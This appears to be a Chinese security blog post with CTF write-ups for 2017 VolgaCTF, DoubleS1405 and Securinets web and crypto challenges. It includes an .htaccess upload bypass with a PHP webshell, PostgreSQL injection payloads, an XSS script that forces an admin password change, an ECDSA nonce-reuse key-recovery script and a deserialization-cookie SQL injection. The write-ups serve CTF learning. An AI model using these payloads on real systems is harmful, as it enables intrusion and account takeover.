HeartSky's blog


在渗透之路上渐行渐远


VolgaCTF DoubleS1405 Securinets 部分题 wp

上周末出去浪了一天多。等回来时发现有三个比赛,看题目时便都快结束了,挑着几道还可以的做了下,有些太脑洞直接跳过了 = =

VolgaCTF - Web

VC - 50 pts

There are files A.png and B.png. But where’s the flag?

题目给了两张图片,自然而然的想到异或,直接丢到 stegsolve 里异或下就出来了

Share Point - 200 pts

Look! I wrote a good service for sharing your files with your friends, enjoy)
http://share-point.quals.2017.volgactf.ru

没有注册功能,可以任意登录。登陆之后可以上传文件和分享文件,测试了下只检测了文件后缀名,而且是黑名单,但是常见的后缀包括 php3、phtml、pht 什么的都不行。注意到一个细节,上传的文件被保存在了 /files/username/ 下,那么这里就有一个利用姿势。正好是前几天在 seebug 上看到的,如果我们上传一个 .htaccess 文件,让它把我们自定义的一个文件解析为 php,那么就可以了

.htaccess

1
2
3
<FileMatch “test.jpg”>  
SetHandler application/x-httpd-php
</FileMatch>

或者直接让它解析 jpg 这个后缀

1
AddType application/x-httpd-php .jpg

然后上传一个 WebShell
233.jpg

1
2
3
<?php
$_GET['a']($_GET['b']);
?>

最后 flag 的位置有点没想到,在 /opt 目录下,记得上次国科大的线下赛 flag 也是在这个目录下,难道有什么不为人知的交易?

Bloody Feedback - 100 pts

Bloody Feedback
Send your feedback at http://bloody-feedback.quals.2017.volgactf.ru
DO. NOT. USE. SQLMAP
Otherwise your IP will be banned

题目说不让用 sqlmap,那就是 sql 注入咯
进去看一下,可以提交一个反馈,会返回这样的 T4XRn8Q11kXSHmNILgD9LzT3AKOcrPRS 一个消息的标志,并且在 get 参数中,起初以为是这里有注入,结果发现怎么样都不行,而且查询不到指定的消息时返回的都是

1
ERROR: Wrong code at Worker.pm line 62.

据说可以看出是 perl 脚本,反正我没看出来
那么注入点应该不在这里,回到表单,测试之后发现了 email 处有猫腻(除了 email 的其他地方输入都被转义了),当我提交一个

1
email=';echo '233

的时候,返回了这样一个错误

1
ERROR: DBD::Pg::db do failed: ERROR: syntax error at or near "echo" LINE 1: ...('OVYZYOD8wYDgmm89n6BGqNxbp23mY5hP','333','sad',''echo '233'... ^ at Worker.pm line 29.

这应该是一个数据库中的插入语句,搜了下是 PostgreSQL 数据库,然后这里是 insert 语句,继续尝试下

1
2
3
email=');--
ERROR: DBD::Pg::db do failed: ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES... ^ at Worker.pm line 29.

知道了后台怎么写的后,我们就可以构造我们的注入语句了
获取数据库名(pg_database 表存储了所有的数据库信息)

1
2
email=',(select datname from pg_database limit 1 offset 3));--
feedback_db

表名(pg_tables 表存储了所有的表信息)

1
2
email=',(select tablename from pg_tables limit 1 offset 0));--
messages s3cret_tabl3

s3cret_tabl3 表名的 oid(因为 pg_class.oid 对应 pg_attribute.attrelid,所以我们可以获取目标表的 oid,然后在 pg_attribute 表中得到 attname 的值,即为列名)

1
2
email=',(select oid from pg_class where relname like 's3cret_tabl3' limit 1 offset 0));--
16435

列名(pg_attribute 存储了所有的列信息;直接用 attrelid 时提示 没有匹配指定名称和参数类型的操作符. 您也许需要增加明确的类型转换,用 cast 把前面的转换为字符串类型就可以了)

1
2
3
email=',(select attname from pg_attribute where cast(attrelid as varchar(15)) like 
'16435'limit 1 offset 0));--
s3cr3tc0lumn

获取数据

1
2
email=',(select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 4));--
VolgaCTF{eiU7UJhyeu@ud3*}

注意:

  1. where 好像被 ban 了,可以用 like 来代替
  2. 也可以不用 pg 中特殊的系统表,采用 information_schema.tables,和 MySQL 中的用法是一模一样的,只是有一个小问题,在 PostgreSQL 中,information_schema 并非一个真正的数据库,如果在 test 数据库中新建一个 test 表,进入其他数据库,然后 select table_name from information_schema.tables; 是查询不到 test 这个表的。所以如果 flag 在另一个数据库的话就只能用 pg 中的特殊类表了

这题还是可以的,学到了基本的 PostgreSQL 注入知识

Sneaky Tags - 300 pts

We created a great service for you (Alpha version, work in progress), don’t hesitate to use it.
administrator is hiding something in his tags
http://sneaky-tags.quals.2017.volgactf.ru:8080

目标是获得 administrator 的 tags,进去后发现又是没有注册,只有登录界面,除了 administrator 的会验证密码,其他用户都可以随意登入,然后习惯性的试了 123,结果直接看到了别人留下的做题记录,拿到了 flag……

好吧,还是分析下
登陆进去后有三个功能,分别是创建标签、同步标签到推特、搜索某标签是否同步到了推特,测试下发现创建标签处不存在 xss,想下应该不是真正的推送到推特,而是插入到自己的数据库中,但正常的插入我这都不成功,转向搜索功能,结合 js,这里应该是一个 select * from xxx where xxxxx = tag 这样的语句,如果我们在创建标签的时候就构造恶意语句的话……

还没来得及测试环境就关了……

Corp News - 300 pts

We have created an excellent service for obtaining corporate news. You never know the secret information
http://corp-news.quals.2017.volgactf.ru
http://corp-news2.quals.2017.volgactf.ru
Hints
Some errors may shed light on what is there on the backend

打开后又是登录时直接注册的页面,比较坑的是密码的要求给的是 [a-zA-Zd]{7,},一直说不符合要求,结果原来是大小写数字都要有 ==

进入后有这么几个功能

1
2
3
change_password 修改密码(有csrf保护)
feedback 提交评论
news 查看私密新闻

其中查看新闻这个功能 post 了一个这样的 {"resultFormat":"text"} json数据,返回的是 {"Status":"OK","message":"Please, set debug header true, becouse the app in developing state:)"},尝试把 resultFormat 的值改为其他的,结果返回的都是这样 {"status":500,"message":"`result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed)."},感觉这里是有问题的,于是搜了下 result_format and options,找到一篇文章。应该是 RethinkDB 这个数据库的语法,看到可以构造 header 头,于是

1
2
3
4
5
request
{"resultFormat":"text","header":{"debug":"true"}}

response
{"Status":"OK","message":"VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February."}

现在可以看新闻了,但是并没有什么用
应该是可以看到管理员的名字的,结合修改密码功能,猜测可以发送留言来修改管理员的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.open("GET", "/lk", true);
xhr.onreadystatechange = function()
{
if(xhr.readyState == 4)
{
text = xhr.responseText;
text = text.substr(text.indexOf('invisible">') + 'invisible">'.length);
csrf = text.substr(0, text.indexOf('</p>'));
data = JSON.stringify({'new_password':'aaaAAA11',confirm_password:'aaaAAA11','token':csrf});
xhr2 = new XMLHttpRequest();
xhr2.open("POST", "/change_password", true);
xhr2.setRequestHeader("Content-type", "application/json");
xhr2.send(data);
}
}
xhr.send();
</script>

登陆上去后会有一条信息

1
Your Secret header: asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7

然后用前面的方式构造头就可以拿到 flag 了

VolgaCTF - Crypto

Curved - 200 pts

This server is willing to perform several commands and cat is among them. However, to execute cat flag we need to provide the signature. We only have signatures for exit and leave commands which is cruelly ironic. Can you help us to get the flag?
curved_server.py
exit.sig
key.public
leave.sig
curved.quals.2017.volgactf.ru:8786

这道题是 ECDSA(椭圆曲线数字签名算法),我们有 exitleave 的数字签名,要计算出 cat flag 的数字签名,和之前的数论基础题有点像

简单的说一下这个算法的步骤懒得写了,直接贴下维基百科

所以当 r、d 相同,有两组数字签名数据时是可以恢复 k、d 的,然后就可以生成我们想要信息的数字签名了
附关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if __name__ == '__main__':
r = 9540946282644423304958237178123966732301592745413906651991128246584667628620778601005222874778554839816137094172414
curve = G.curve
n = curve.n
Ln = bit_length(n)
cmd1 = 'exit'
cmd2 = 'leave'
z1 = int(hashlib.sha512(cmd1).hexdigest(), 16) >> 512 - Ln
z2 = int(hashlib.sha512(cmd2).hexdigest(), 16) >> 512 - Ln
(r1, s1) = import_cmd_signature(cmd1, '.')
(r2, s2) = import_cmd_signature(cmd2, '.')
k = (z1 - z2) * invert(s1 - s2, n) % n
d = int(((s1 * k - z1 % n) * invert(r, n)) % n)
signature = ECDSA(G, d)
cmd = 'cat flag'
r, s = signature.sign(cmd)
print r
print s

DoubleS1405 2nd CTF - Web

blackout - 50 pts

看题目名字就知道了,blackout-停电,进去一看果然什么也没有,那就是备份文件喽,是.index.php.swp,然后 strings 一下就找到了
Tips: .xxx.swp 是在用 vim 编辑的时候在还未保存的情况下,电脑断电或者 vim 发生异常退出时的缓冲区备份文件

iterator - 100 pts

打开就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$directory = $_GET['dir'];
$cond = explode("=", urldecode($_SERVER['QUERY_STRING']));
if (!is_dir($cond[1])) echo 'folder does not exist.';
else {
$directory = new DirectoryIterator($directory);
foreach($directory as $file) {
echo "\n<!--";
if (preg_match("/txt$/i", $file->getFilename())) echo $file->getFilename();
else;
echo "-->";
}
}
?>

这个好像挺有意思的,不过不知道怎么做,有知道的大佬请告诉我

Securinets - Web

Web6 - 300 pts

有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
require_once('config.php');
$conn = new mysqli($servername, $username, $password, $db);

class User{
public $id;
public $name;
public $pass;
public $key;

public function __construct($id,$uname,$pass,$key){
$this->id=htmlspecialchars($id);
$this->name=htmlspecialchars($uname);
$this->pass=htmlspecialchars($pass);
$this->key=htmlspecialchars($key);
}

}
$msg="";
if((isset($_POST['username']) && isset($_POST['password'])) || isset($_COOKIE['user']))
{
if(isset($_POST['username']) && isset($_POST['password']))
{
$uname=mysqli_real_escape_string($conn,$_POST['username']);
$pass=md5($_POST['password']);
}
else if(isset($_COOKIE['user']))
{
$user = unserialize($_COOKIE['user']);
$uname=$user->name;
$pass=$user->pass;
}
$sql = "SELECT id, username, pass,userkey FROM user where username = '".$uname."' AND pass='".$pass."'";
$result = $conn->query($sql);
if($row = $result->fetch_assoc())
{
$user = new User($row['id'],$row['username'],$row['pass'],$row['userkey']);
if(isset($_POST['remember']))
{
if(!setcookie("user",serialize($user))){
echo "<div class='alert alert-warning' style='font-size:20px;'>You will need to activate cookies on your browser for this task!</div>";
}
}
else
setcookie("user","");

if(md5($user->key)=='0e192156527884742253757578831994')
$msg= "<div class='alert alert-success' style='font-size:20px;'>$FLAG</div>";
else $msg= "<div class='alert alert-warning' style='font-size:20px;'>Valid credentials but you don't have the right key, sorry!</div>";
}
else $msg= "<div class='alert alert-danger' style='font-size:20px;'>Login failed</div>";
}
?>
<html>
<head>
<title>Login page</title>

<!-- Bootstrap core CSS -->
<link href="css/app.css" rel="stylesheet">
</head>

<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="#"><img style="height: 100%; margin-top: -3px; margin-right: 5px;" src="img/logo.png">WEB 5 </a>
</div>
<div id="navbar" class="collapse navbar-collapse">

</div><!--/.nav-collapse -->
</div>
</nav>

<div class="container">
<br><br><br>
<?php
echo $msg;
?>
<h1> Login </h1>
<div class="container" >
<div class="col-md-6" >
<div id="logbox" >
<form name="login" class=" navbar-center" action="" method="post">
<div class="input-group">
<input type="text" name="username" class="form-control" placeholder="User Name"/><br><br>
<input type="password" name="password" class="form-control" placeholder="Password"/><br><br>
<input type="checkbox" name="remember" /> <b>Remember me.</b>
</div>
<br> <br>
<div class="input-group">
<input type="submit" class="btn btn-primary" value="login"/>
<input type="reset" class="btn btn-primary" value="Cancel"/>
</div>
</form>
</div>
</div>
</body>
</html>

分析下可以得到 flag 获取的条件

1
2
能够查询到登录用户
用户的 key 值 == '0e192156527884742253757578831994'

0e 开头的其他部分全为数字的 md5 值我们应该很熟悉了,猜测应该是联合查询 union select 一个用户,使得其 md5 值相等就可以了。然后看下登录部分,可以看到有两种方式可以登录,第一种是通过用户名和密码,但是用户名经过了 mysqli_real_escape_string 函数,密码又被 md5 了,不存在注入,第二种方式是通过 cookie,然后反序列化来登录,我们可以看到反序列化出来的用户名和密码是没有经过任何处理的,所以这里存在注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
class User{
public $id;
public $name;
public $pass;
public $key;

public function __construct($id,$uname,$pass,$key){
$this->id=htmlspecialchars($id);
$this->name=htmlspecialchars($uname);
$this->pass=htmlspecialchars($pass);
$this->key=htmlspecialchars($key);
}

}
$user = new User('1', 'a5s4d54', "use' union select 1,'user1','user1','240610708'#", '240610708');
echo urlencode((serialize($user)));
?>

把输出的值放在 cookie 里就可以了
中间遇到一个坑,因为是否输入用户名是通过 isset 函数来检测的,当你提交过一次的时候再刷新,虽然没有输入任何数据,但是在请求主体中是以空字符串提交的,这种情况下 isset 会判断为真(我一般都用 isset 和 empty 共同验证),不使用 cookie,造成了起初修改 cookie 一直不成功